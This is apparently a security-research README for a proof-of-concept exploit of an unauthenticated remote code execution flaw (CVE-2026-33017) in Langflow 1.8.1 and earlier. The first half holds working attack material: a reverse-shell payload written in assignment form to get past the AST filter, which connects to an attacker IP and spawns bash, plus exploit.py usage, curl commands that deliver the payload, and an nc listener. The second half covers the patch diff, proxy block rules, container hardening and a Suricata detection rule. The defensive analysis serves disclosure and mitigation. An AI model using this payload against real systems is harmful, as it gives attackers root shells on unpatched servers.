
PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.
Disclaimer
This repository was created for security research and educational purposes only.
Use it only in an isolated lab environment.
Using it against unauthorized systems is a violation of the Information and Communications Network Act and is subject to criminal penalties.
| Item | Details |
|---|
| CVE ID | CVE-2026-33017 |
| Affected Software | Langflow (AI workflow builder) |
| Affected Versions | Langflow ≤ 1.8.1 |
| Patched Version | Langflow ≥ 1.9.0 |
| Vulnerability Type | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Listed |
POST /api/v1/build_public_tmp/{flow_id}/flow
This endpoint is designed for building public flows and is accessible without authentication.
Execution path confirmed by tracing the source code directly:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← Receives client input as-is (vulnerability)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← Passes client data as-is
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← Arbitrary code execution
The prepare_global_scope() function does not execute every statement in the submitted code.
After AST parsing, it selects and executes only specific node types:
# lfx/custom/validate.py — inside prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr nodes are not included anywhere → not executed
exec(compiled_code, exec_globals) # only definitions are executed
Executable AST node types:
| AST Node Type | Example | Executed |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Executed |
ClassDef | class ExploitComponent(Component) | ✅ Executed |
Assign | _r = os.system("id") | ✅ Executed |
AnnAssign | _r: int = os.system("id") | ✅ Executed |
Expr | os.system("id") (standalone call) | ❌ Ignored |
Conclusion: A payload must be written in
Assignform (_r = ...) to be executed.
A plain function call (os.system("id")) is classified as anExprnode and is filtered out.
During the lab exercise, several payload approaches were attempted, and the cause of each failure was identified at the source level.
subprocess.Popen + wait() (failed)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← blocks here
Cause of failure: While the Langflow worker thread is monitoring the component return value, the socket is forcibly closed upon timeout. Blocking in _proc.wait() becomes meaningless.
os.execve() call (failed)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Cause of failure: Per POSIX rules, when execve() is called in a multithreaded process, all threads except the calling thread are terminated → the entire uvicorn worker crashes → HTTP 500.
os.fork() + execve() (failed)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Cause of failure: uvicorn detects the child process as an abnormal termination and restarts the worker → HTTP 500.
threading.Thread(daemon=True) (failed)threading.Thread(target=_shell, daemon=True).start()
Cause of failure: A daemon=True thread is destroyed along with the main thread (Langflow worker) when it exits. The thread dies before the connect() attempt.
threading.Thread(daemon=False) + Assign# FunctionDef → executed
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → executed (standalone Expr calls are excluded by the filter, so variable assignment is required)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Why daemon=False:
daemon=True → destroyed when the Langflow worker thread terminatesdaemon=False → has a lifecycle independent of the worker → socket connection remains aliveCVE-2026-33017/
├── README.md
├── Dockerfile # Vulnerable Langflow 1.8.1 environment
├── Dockerfile.attacker # Attacker container (includes curl, nc, net-tools)
├── docker-compose.yml # Vulnerable server + attacker container
├── entrypoint.sh # Langflow startup and automatic Public flow creation
├── exploit.py # Reverse shell PoC
└── poc.py # Blind RCE / vulnerability existence check
# 1. Build and start containers
docker compose up --build
# 2. Verify Langflow Web UI access
# http://localhost:7860
# admin / admin123!
# 3. Check container IPs
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (victim) │
│ langflow-attacker 172.19.0.3 (attacker) │
└──────────────────────────────────────────────────┘
Run inside the attacker container:
docker exec -it langflow-attacker bash
# Automatic mode (token issuance + Public flow creation + built-in listener)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Options:
| Option | Description | Default |
|---|---|---|
--url | Target Langflow URL | Required |
--lhost | Reverse shell callback IP | Required |
--lport | Reverse shell callback port | Required |
--flow-id | Public flow UUID (auto-created if omitted) | Auto |
--user | Admin ID | admin |
--password | Admin password | admin123! |
--no-listen | Disable built-in listener (when using an external nc) | False |
--timeout | HTTP timeout (seconds) | 30 |
Expected output:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Logging in... (admin)
[*] Token issued successfully
[*] Creating Public flow...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener started → 0.0.0.0:4444
[*] Endpoint : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback : 172.19.0.3:4444
[*] Sending payload...
[*] HTTP response : 200
[+] Shell connected ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Use this when only checking whether the vulnerability exists:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. Issue token + create Public flow
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc listener (terminal 1)
nc -lvnp 4444
# 3. Send payload (terminal 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| Item | exploit.py | poc.py |
|---|---|---|
| Purpose | Obtain a reverse shell | Verify vulnerability existence (Blind RCE) |
| Result confirmation | Directly in the attacker terminal | Server logs / OOB |
| Listener | Built-in | Not needed |
| Multiple targets | Not supported | Supported (--url-file) |
| Lab use case | Demonstrate impact | Demonstrate vulnerability existence |
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← Receives client input
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← Passes client data as-is into the build pipeline
...
)
langflow/api/v1/chat.py (confirmed directly from the source):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data parameter completely removed from the signature
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← Hardcoded None, client input completely blocked
source_flow_id=flow_id, # ← Flow definition loaded only from the DB
...
)
| Item | 1.8.1 (Vulnerable) | 1.9.1 (Patched) |
|---|---|---|
Accepts data parameter | ✅ Accepted | ❌ Removed from signature |
| Executes client-defined nodes | ✅ Possible | ❌ Not possible |
| Flow definition source | Client request body | DB-stored values only |
| RCE without authentication | ✅ Successful | ❌ Blocked |
| HTTP response | 200 + shell connection | 200 (empty build, no nodes) |
Why removing the parameter itself, rather than simply validating input, is the correct design:
Vulnerable design: client input → validation → execution (bypass potential remains)
Patch design: client input → completely ignored
DB-stored flow only → executed (attack path eliminated)
pip install langflow==1.9.1
File location: nginx.conf (newly created)
server {
listen 80;
# Block CVE-2026-33017 vulnerable endpoint
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Note: Direct external exposure of Langflow port 7860 must also be blocked for this to be effective.
File location:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
If no Public flows exist, the endpoint returns 404, making an attack impossible. As an operational policy, prohibit the creation of Public flows or change existing flows to PRIVATE.
For EC2 environments:
Inbound rules:
Port 7860 → allow only authorized IPs (remove 0.0.0.0/0)
Even if RCE succeeds, block external callbacks:
# Block outbound traffic from the langflow container
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
Or in docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Block dangerous syscalls with a seccomp profile (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
| Measure | Type | Effect |
|---|---|---|
| Update to 1.9.1 | Root fix | Removes the data parameter |
| Nginx/Apache block | Access control | Blocks the attack path |
| Do not use Public flows | Access control | Endpoint returns 404 |
| AWS Security Group | Network block | Blocks external access at the source |
| Outbound block | Post-exploitation control | Blocks reverse shell callbacks |
| Container hardening | Damage minimization | Blocks privilege escalation/syscalls |
Suspicious HTTP request:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Langflow server log patterns:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
This repository goes beyond simply running a PoC and additionally identifies the following through source-level analysis:
Discovery of AST node filtering
Directly confirmed from the source that prepare_global_scope() in lfx/custom/validate.py ignores Expr nodes. This explains why the simple function-call payloads in existing public PoCs fail in this environment.
Analysis of payload failure causes
Analyzed the failure causes of four approaches — Popen+wait(), execve(), fork()+execve(), and daemon=True threads — from the perspective of uvicorn's multithreaded structure and POSIX rules.
Direct confirmation of the patch code
Directly verified at the source level in 1.9.1's chat.py that data=None is hardcoded and the parameter is removed, and analyzed the intent behind the patch design.